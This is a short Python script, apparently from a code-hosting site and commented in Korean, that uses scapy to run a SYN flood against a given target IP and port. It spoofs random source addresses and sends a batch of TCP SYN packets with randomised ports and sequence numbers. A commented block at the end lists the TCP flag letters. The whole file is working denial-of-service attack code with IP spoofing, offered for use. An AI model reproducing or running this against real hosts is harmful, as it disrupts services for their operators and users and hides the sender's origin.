syn.py 1.05 KB
import random
from scapy.all import IP, TCP, send

# 무작위 IP 생성
def random_IP():
    ip = []
    for _ in range(0, 4):
        ip.append(str(random.randint(1, 255)))
    return ".".join(ip)

def syn_flood(targetIP, targetPORT):
    IP_Packet = IP()
    IP_Packet.src = random_IP() # IP Spoofing
    IP_Packet.dst = targetIP

    TCP_Packet = TCP() # SYN은 TCP 헤더의 플래그 비트이므로
    TCP_Packet.sport = random.randint(1000, 10000)
    TCP_Packet.dport = targetPORT
    TCP_Packet.flags = "S"
    TCP_Packet.seq = random.randint(1000, 10000)
    TCP_Packet.window = random.randint(1000, 10000)

    for _ in range(16):
        try:
            send(IP_Packet / TCP_Packet, verbose=False)
        except Exception as e:
            print(f"Error while sending SYN packet\n{e}")
        else:
            print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")


"""

flags = {
       'F': 'FIN',
       'S': 'SYN',
       'R': 'RST',
       'P': 'PSH',
       'A': 'ACK',
       'U': 'URG',
       'E': 'ECE',
       'C': 'CWR',
}

"""